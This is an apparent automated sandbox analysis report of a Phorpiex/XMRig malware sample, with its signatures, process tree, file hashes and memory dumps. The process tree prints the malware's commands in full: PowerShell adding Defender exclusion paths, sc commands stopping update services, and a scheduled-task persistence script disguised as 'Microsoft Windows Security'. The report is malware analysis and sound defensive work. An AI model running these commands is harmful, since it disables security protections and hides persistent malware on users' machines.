Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    17-10-2024 01:56

General

  • Target

    8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe

  • Size

    74KB

  • MD5

    ff2df00e788749ba0f2ca8c29a35030c

  • SHA1

    9638e9861cdd6a8b5e4aad28739ebd62ab12b6a1

  • SHA256

    8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7

  • SHA512

    76e3323f797e557a72be2242961829f410c17be3b7d605075c0c05676d8a0fca6d108e47fb250219da010f0ad64c92f56d8db3b6f913b7c5000591434ec253db

  • SSDEEP

    192:H5w4ZVQffbuVBiRAljEEJxTqthTcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPx:H5w4ZV0G06uEuOm6S6666

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 7 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 35 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1180
      • C:\Users\Admin\AppData\Local\Temp\8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe
        "C:\Users\Admin\AppData\Local\Temp\8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe"
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2316
        • C:\Users\Admin\AppData\Local\Temp\13368.scr
          "C:\Users\Admin\AppData\Local\Temp\13368.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2332
          • C:\Windows\sysvplervcs.exe
            C:\Windows\sysvplervcs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Loads dropped DLL
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2740
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2452
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2820
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2676
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2804
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2824
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2840
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2576
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2812
            • C:\Users\Admin\AppData\Local\Temp\536515272.exe
              C:\Users\Admin\AppData\Local\Temp\536515272.exe
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1812
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1288
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:2540
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1820
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:1392
                • C:\Users\Admin\AppData\Local\Temp\192966600.exe
                  C:\Users\Admin\AppData\Local\Temp\192966600.exe
                  5⤵
                  • Executes dropped EXE
                  PID:2880
                • C:\Users\Admin\AppData\Local\Temp\290813981.exe
                  C:\Users\Admin\AppData\Local\Temp\290813981.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:1556
                  • C:\Users\Admin\AppData\Local\Temp\1611410096.exe
                    C:\Users\Admin\AppData\Local\Temp\1611410096.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1248
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2096
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:1976
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2736
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2460
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:1056
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:2804
            • C:\Windows\system32\taskeng.exe
              taskeng.exe {4BCC92AD-A35E-40DB-BF64-D34ED021FBD3} S-1-5-21-3551809350-4263495960-1443967649-1000:NNYJZAHP\Admin:Interactive:[1]
              1⤵
              • Loads dropped DLL
              PID:2348
              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                2⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                PID:1924

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\39GEHZPO\1[1]

              Filesize

              108KB

              MD5

              1fcb78fb6cf9720e9d9494c42142d885

              SHA1

              fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

              SHA256

              84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

              SHA512

              cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

            • C:\Users\Admin\AppData\Local\Temp\13368.scr

              Filesize

              96KB

              MD5

              930c41bc0c20865af61a95bcf0c3b289

              SHA1

              cecf37c3b6c76d9a79dd2a97cfc518621a6ac924

              SHA256

              1f2e9724dfb091059ae16c305601e21d64b5308df76ddef6b394573e576ef1ff

              SHA512

              fa1f33c71da608b3980038981220fcebee0b0cc44331e52f5198dd2761c97631ee8286756c2cc16245a1370c83bb53cc8ea8ef64e0fcdd30af51f023973986b2

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UQGWBQMC6GRZCITFRNNU.temp

              Filesize

              7KB

              MD5

              cbb3c20fac8622099e2c4206c96c5570

              SHA1

              ac4f138c1038107ce68127a0e67565e0209e6638

              SHA256

              3a4ce23343abc875cf47273b3a05d5904a72832ce803d42368b53952dcc88cad

              SHA512

              7c022039706b751ea9d1a397c3628ca6ddedb4246c02b7e44ea5f9eef29bf21bc2f710e8ce09ec2beffa89a25d7b89af4351817a861a039f43022c42e0789db0

            • \Users\Admin\AppData\Local\Temp\1611410096.exe

              Filesize

              5.6MB

              MD5

              13b26b2c7048a92d6a843c1302618fad

              SHA1

              89c2dfc01ac12ef2704c7669844ec69f1700c1ca

              SHA256

              1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

              SHA512

              d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

            • \Users\Admin\AppData\Local\Temp\192966600.exe

              Filesize

              15KB

              MD5

              0c37ee292fec32dba0420e6c94224e28

              SHA1

              012cbdddaddab319a4b3ae2968b42950e929c46b

              SHA256

              981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

              SHA512

              2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

            • \Users\Admin\AppData\Local\Temp\290813981.exe

              Filesize

              10KB

              MD5

              96509ab828867d81c1693b614b22f41d

              SHA1

              c5f82005dbda43cedd86708cc5fc3635a781a67e

              SHA256

              a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

              SHA512

              ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

            • \Users\Admin\AppData\Local\Temp\536515272.exe

              Filesize

              8KB

              MD5

              cb8420e681f68db1bad5ed24e7b22114

              SHA1

              416fc65d538d3622f5ca71c667a11df88a927c31

              SHA256

              5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

              SHA512

              baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

            • memory/568-82-0x000000013F820000-0x000000013FDB7000-memory.dmp

              Filesize

              5.6MB

            • memory/1056-100-0x0000000140000000-0x0000000140029000-memory.dmp

              Filesize

              164KB

            • memory/1056-102-0x0000000140000000-0x0000000140029000-memory.dmp

              Filesize

              164KB

            • memory/1248-78-0x000000001B3A0000-0x000000001B682000-memory.dmp

              Filesize

              2.9MB

            • memory/1248-79-0x0000000002820000-0x0000000002828000-memory.dmp

              Filesize

              32KB

            • memory/1812-41-0x000000013F900000-0x000000013F906000-memory.dmp

              Filesize

              24KB

            • memory/1924-97-0x000000013F850000-0x000000013FDE7000-memory.dmp

              Filesize

              5.6MB

            • memory/2736-91-0x000000001B450000-0x000000001B732000-memory.dmp

              Filesize

              2.9MB

            • memory/2736-92-0x00000000026E0000-0x00000000026E8000-memory.dmp

              Filesize

              32KB

            • memory/2804-98-0x0000000000350000-0x0000000000370000-memory.dmp

              Filesize

              128KB

            • memory/2804-101-0x0000000140000000-0x00000001407EF000-memory.dmp

              Filesize

              7.9MB

            • memory/2804-103-0x0000000140000000-0x00000001407EF000-memory.dmp

              Filesize

              7.9MB

            • memory/2804-105-0x0000000140000000-0x00000001407EF000-memory.dmp

              Filesize

              7.9MB